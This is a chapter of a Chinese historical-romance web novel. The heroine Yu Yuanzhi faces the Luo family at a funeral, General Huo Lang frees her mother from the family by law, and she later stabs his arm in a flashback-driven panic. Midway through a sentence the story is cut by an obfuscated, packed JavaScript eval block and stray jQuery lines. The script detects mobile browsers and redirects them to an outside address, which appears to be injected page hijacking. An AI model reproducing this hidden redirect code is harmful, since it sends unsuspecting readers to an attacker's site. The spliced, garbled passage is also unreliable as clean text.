寒星里 作品

31. 璇花篇·三十一

素日雅致院落浮上一层灰白,明明夏末,凉意却不时地钻进骨子里,一枚纸钱飘落在俞沅之脚边,她忽地停下。


眼眸刺得发疼。


罗府丧仪隆重,但仅“主人”可享。


-


前世,她刚被诊出有孕,徐鄞就大发雷霆,双眼猩红掐住她的脖子,怒骂野种,她以为自己要死了,情急下用尽毕生气力甩了那人一巴掌,男子刹那惊醒,松开了手。


俞沅之尤记得,她穿了身崭新的雪青色长纱裙,呼吸困难跌坐在地,徐鄞抬脚冷漠离开。她又怕又疼,哭着跪求待自己有几分善心的婆子,能否偷偷送些东西到罗府交给阿娘,几乎整个身子匍匐下去,裙摆尽然褶皱。


已三个月没有娘的消息,她怕自己命不久矣。


全部体几,一封家书。


婆子哽咽应下,她连连叩头,感激涕零,然而那时并不晓得,虽然送到,却通通被撕碎丢弃。


焦急等了两个月,等来徐鄞登基称帝,等来她被册封宸妃,始终等不来阿娘回信。


“娘子没了,半年前就没了。”


在罗家饱受煎熬,任人折辱,咽气后卷了烂草席子,连夜丢到污雪坡。


俞沅之发疯一样,挂着满身繁缛装饰奔向宫门,裙摆太重,她踉跄欲跌,被身后追来的宫人拉扯跪地,狼狈不堪。


那日,是她册封吉日,罗家故意命人传话给她,引众人耻笑,让新帝颜面尽失。


徐鄞本就憎她,经此变本加厉。


-


俞沅之垂下眼帘,前尘往事早已激不起她的悲伤,唯独这一件,想起不禁泪眼朦胧,若不是罗家为非作歹,她和阿娘不至生离死别。


“猫哭老鼠,惺惺作态!”


罗女君哑声斥骂,令她从回忆中挣脱,对方以为她在为罗国公伤心?


俞沅之冷冷翘了翘唇角,深吸一口气平复心绪。


灵堂内,左侧一应跪着罗家人,罗女君为首,罗羡仙紧随,霍琅身为朝廷特命“主事丧礼”者,施礼后站于右侧,俞沅之则站在他的身后。


罗女君抬起一对沧桑红肿眼,向她低吼道:“罗氏族女,下跪叩头!”


邺国风俗,府中遇白事,来客施礼后自行去留,但亲眷需跪叩丧礼全程。


俞沅之宁死不跪仇人,丝毫未动。


霍琅:“俞姑娘非罗家亲眷,不必拘此礼。”


罗女君咬牙,暗自痛骂两人有鬼祟,「奸」夫「淫」妇实乃可恨,遂喉间撕扯:“余侍郎为我招赘夫婿,她俞沅之乃夫婿外室女,我为她嫡母,跪叩祖父天经地义!”


霍琅瞥向灵牌,道:“据大邺律法,夫妻间,一方行不义之举十年及以上,另一方可递交离书于当地府衙,即刻和离。”


罗女君怒斥:“外室之人,谈何夫妻!”


所有人都知晓俞夫人为原配,但知晓是一回事,余侍郎已故,无法给予名分,明面上只能被当作外室,纵使那人活着,怕也不敢承认,这点俞沅之心知肚明,所以太后娘娘才会特赐恩典,在她入罗家族谱时,将娘一道抬为平妻。


霍琅唇角微挑:“当年,余侍郎迎娶原配夫人时,于镇中留下亲笔婚书一封。”


此言一出,罗女君目瞪口呆,罗家人面面相觑,俞沅之更是诧异看向霍琅。


男子回头,目光扫过她:“余侍郎抛妻弃女十六年之久,此行不义,符合律令,故而,俞姑娘其母在六年前,便可选择是否与其夫和离,俞姑娘既然没有入罗氏族谱,母女二人也可与罗家无关。”


罗女君目眦欲裂,乱喷口水:“我阿父接她母女入京,供养吃喝,如今竟要忘恩负义?”


“六年前,余侍郎官任四品少府,一应俸禄数目可考,夫妻和离,俞姑娘母女应分得六成以上财物,远超几月吃喝用度,既罗女君提及,本将军会代为呈情,还其公道。”男子轻蔑回击。


堂内霎时寂然无声。


俞沅之额头冒出密密麻麻的凉汗,唇色也有些许发白,霍琅所言婚书为真?难道阿娘可以和那个男人,正大光明划清界限?


或许了然她心中所想,男子朝她缓缓眨了下眼睛。


他在说“可以”。


如果能和娘重获自由身,不被国公府胁迫,就可以平安离开这儿,离开襄京过自由自在的生活!


罗女君气得浑身发抖,脸孔被憋紫,五指更是扭曲似鸡爪,僵硬麻木,下刻她大口喘气,快要无法呼吸——


“罗女君!”


婢女连忙抱住人,罗女君双眼翻白跪着后仰!


罗羡仙抬眸,与俞沅之四目相对,仅仅一瞬便低下头来,女子不仅没有哭,眼眸中还有明显的痛快之感。


俞沅之:“……”


一场丧礼,乌烟瘴气。


“起灵!”朱管家高声哀道。


扛幡在前,送柩入土,罗国公今生虽去得早,尚存几分体面,前世徐鄞赐死,他可是死无全尸。


-


傍晚,俞沅之趁乱小跑到西院,这里还有她的行装。


简单规整一番,将包袱放在桌上,转头瞧见墙角那盆芦荟,许是如意日日照料,它长势喜人。


俞沅之走近蹲下,指间轻抚厚叶,柔声告别:“我和娘很快就能离开襄京,今后再不得见,盼你早日开花……”


砰!


耳边突传瓷碎声,她吓得一哆嗦,忙警惕回身——


霍琅站在门前,面无表情盯着她,桌边一盏茶杯滚落在地,支离破碎。


“霍……霍将军。”俞沅之掌心撑住膝盖,缓慢站起。


他什么时候进来的?


“您不是在前堂议事吗?”


霍琅未理,迈步向她而来,渐渐逼近。


俞沅之双腿发软,身子不由得紧贴墙壁,经过多日相处,她能简单辨认霍琅的“阴晴”。


眼下,非晴空万里,也不是乌云密布,而是狂风暴雨前的宁静,他的脸,比阎王还黑。


“将……将……”俞沅之莫名心虚,手指连抓了几下,抓不住光滑墙面,索性将掌心全然扣过去。


霍琅的压迫感令她不住地吞咽。


两人距离之近,可清楚感受到彼此的呼吸,她紧张地微阖双眼。


“要去哪儿?”


声音冷得像冰。


此刻的霍琅,仿佛被泼了一池凉水。


他命属下调查余侍郎生前所行,从村到镇再到所属郡县,费尽工夫从几十万张尘封旧案中,拿到当年迎娶俞母时,依规递呈府衙的亲笔婚书。


一张张翻阅,一点点搜寻。


高价买下枣花偷跑到长街卖的所有手绳,至灵鹤寺探望她的娘亲,帮母女彻底摆脱罗氏族人身


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189944|165555||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


份。


他意图再与太后交换些什么,势必取消那封赐婚七皇子的懿旨,只需再等三个月,就可以得到她。


但未曾想,换来的是女子那句“离开襄京。”


由始至终,她都不打算留下。


霍琅心头怒火不断攀升,烧得他几乎要失去理智。


“想跑?”


两人初次见面,他也说过这两个字。


“霍将军……”女子声音柔到发颤,“我……”


霍琅:“你以为能活着离开这里?”


果然!


俞沅之呼吸一滞,掌心冰凉,她果然没有猜错!


霍琅记得她瞧过那枚玉佩,从未忘记,他不会放过任何有威胁的存在!


“我不会说的……”几乎是带着哭腔,用尽全身气力才发出这几个字,她决定豁出去,哽咽摇头,“我不认得玉佩上的字,你让我走得远远的,不是更安全吗……”


玉佩?


霍琅微歪头,右手不受控,一把握住女子手腕,目光渗人:“对,你看过玉佩,我更不可能放你走,这辈子都别想跑。”


俞沅之微张嘴巴,噙着泪呆呆盯住桌上行装。


「活着离开这里。」


「这辈子别想跑。」


霍琅的意思……她活着,就不会放过,是如此的吧,难道又要与娘生离死别了?


她仰起头望向男子,泪花氤氲,顺着眼角不断滚落。


霍琅瞬间微慌,心口像被刀锋猛戳,本能地抬起另外一只手,极其温柔,擦拭她脸颊悬着的泪珠。


然而这一刻,落在俞沅之眼里,竟与前世的徐鄞交叠重复。


「我并非君子,你可愿尝试。」


「你不听话,罗府鸡犬不留。」


「本王不想重复第二遍,跪下。」


徐鄞一手死死捏住她的下巴,另外一只手轻抚过濡湿额发。


与现在,是一样的感觉……


俞沅之闭上眼,颤栗着摸到腰间匕首,是七皇子相赠的那把,就在方才,她将匕首挂在身上。


上辈子回忆不断涌现,被男子折辱的过往,弑君未遂的曾经,桩桩件件,犹如万箭穿心,她的大脑一片空白,无法自控,忽地将匕首拔出,决绝刺向——


早知杀不了徐鄞,她就该就自我了断啊,再不被那人控制!


扑哧。


脸上被溅了丁点温热液物,血腥味顷刻钻入鼻腔。


不痛,一点都不痛。


她恍然睁眼,发觉霍琅右臂正挡在面前,鲜血顷刻染湿了玄色衣袖。


俞沅之从前世抽离,意识到都做了些什么,匕首脱手清脆落地,她脸色煞白,哆嗦着摇头:“不是……我不是……我不想的……”


霍琅盯住面前人,良久,心头怒火渐渐消散。


他动作极轻,小心抹去那一点血印,单手温柔扣住她的后脑,将其拥入怀里,嗓音闷闷的:“我吓到你了?”


俞沅之的头深埋进他的肩膀里,紧咬唇瓣,没有发出任何声音,但身子不住地抖。


她在哭。


男子垂下手臂,血划过指尖,继而向下。


滴答,滴答,滴答……


像雨滴砸在青石砖上。


俞沅之从未想过,前世今生,她拿起利器第一个刺伤的人,居然……是霍琅。